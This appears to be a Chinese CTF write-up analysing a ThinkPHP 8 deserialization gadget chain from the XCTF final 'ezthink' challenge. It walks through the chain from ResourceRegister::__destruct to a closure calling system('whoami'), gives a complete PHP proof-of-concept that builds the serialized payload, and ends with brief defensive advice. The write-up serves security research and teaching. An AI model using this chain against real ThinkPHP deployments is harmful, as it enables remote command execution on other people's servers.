从xctf决赛 ezthink挖掘tp8的反序列化链
字数 1410 2025-08-24 20:49:22
ThinkPHP 8 反序列化链挖掘与分析
前言
本文详细分析ThinkPHP 8框架中的反序列化漏洞挖掘过程,基于XCTF决赛中的一道考题。通过本文,您将学习到如何从零开始挖掘ThinkPHP 8的反序列化利用链。
环境配置
-
基础环境:
- PHP版本:8.0及以上
- ThinkPHP版本:8.x
- 开发工具:推荐PHPStorm + PHPStudy + Xdebug组合
-
配置步骤:
- 按照官方文档安装ThinkPHP 8:https://doc.thinkphp.cn/v8_0/preface.html
- 添加反序列化入口点(需要自定义)
漏洞挖掘方法论
1. 寻找反序列化入口点
在反序列化漏洞挖掘中,通常关注以下魔术方法:
__wakeup():反序列化时自动调用__destruct():对象销毁时自动调用
搜索策略:
- 全局搜索
__destruct方法 - 在ThinkPHP 8中,
think\route\ResourceRegister.php是一个关键点
2. 关键调用链分析
2.1 ResourceRegister类分析
class ResourceRegister {
protected $resource;
public function __destruct() {
$this->register();
}
protected function register() {
$this->resource->parseGroupRule($this->resource->getRule());
}
}
- 当对象销毁时,自动调用
__destruct()方法 __destruct()调用register()方法register()方法调用parseGroupRule()方法
2.2 parseGroupRule方法分析
// 伪代码表示关键逻辑
function parseGroupRule($rule) {
$array = explode('.', $rule); // 以点分割规则
$val = array_pop($array); // 弹出最后一个元素
// 关键触发点
$item[] = $val;
$option['var'][$val] ?? $val . '_id';
}
利用思路:
- 控制
$rule为1.1这样的格式 - 通过
.分割后弹出1作为键 - 通过
$option['var'][$val]触发__toString()方法
3. __toString触发点
全局搜索__toString方法,发现think\model\Conversion.php中存在可利用点:
trait Conversion {
public function __toString() {
return $this->toJson();
}
public function toJson() {
return json_encode($this->toArray());
}
public function toArray() {
// 关键逻辑
if (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
}
4. 属性获取链分析
4.1 getAttr方法
public function getAttr($name) {
$value = $this->getData($name);
if (isset($this->withAttr[$fieldName])) {
$value = $this->getValue($fieldName, $value);
}
return $value;
}
4.2 getData方法
public function getData($name) {
$fieldName = $this->getRealFieldName($name);
return $this->data[$fieldName] ?? null;
}
4.3 getValue方法
protected function getValue($name, $value, $relation = false) {
if (isset($this->json[$name])) {
$value = $this->getJsonValue($name, $value);
}
return $value;
}
4.4 getJsonValue方法
protected function getJsonValue($name, $value) {
if (is_array($this->withAttr[$name])) {
foreach ($value as $key => $val) {
if (isset($this->withAttr[$name][$key])) {
$closure = $this->withAttr[$name][$key];
$value[$key] = $closure($val);
}
}
}
return $value;
}
关键点:
$this->withAttr[$name][$key]可以设置为系统函数如system$value[$key]作为命令参数- 最终形成
system('whoami')这样的调用
完整利用链
ResourceRegister::__destruct()ResourceRegister::register()Resource::parseGroupRule()Pivot::__toString()Conversion::toJson()Conversion::toArray()Attribute::getAttr()Attribute::getData()Attribute::getValue()Attribute::getJsonValue()- 最终执行系统命令
PoC构造
<?php
namespace think\model\concern;
trait Attribute {
private $data = ['p2' => ['p2' => 'whoami']];
private $withAttr = ['p2' => ['p2' => 'system']];
protected $json = ["p2"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model {
use model\concern\Attribute;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($obj = '') {
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\route;
class Resource {
public function __construct() {
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
public function __destruct() {
$this->register();
}
protected function register() {
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
?>
防御建议
- 避免反序列化用户可控的数据
- 对魔术方法进行安全审查
- 使用
__wakeup()方法重置敏感属性 - 考虑使用JSON等安全的数据交换格式替代序列化
总结
本文详细分析了ThinkPHP 8中一个完整的反序列化利用链,从入口点到最终的RCE。关键点在于:
- 通过
__destruct找到入口 - 利用
.分割规则触发__toString - 通过属性操作链实现命令执行
理解这些原理有助于安全研究人员更好地发现和防御此类漏洞。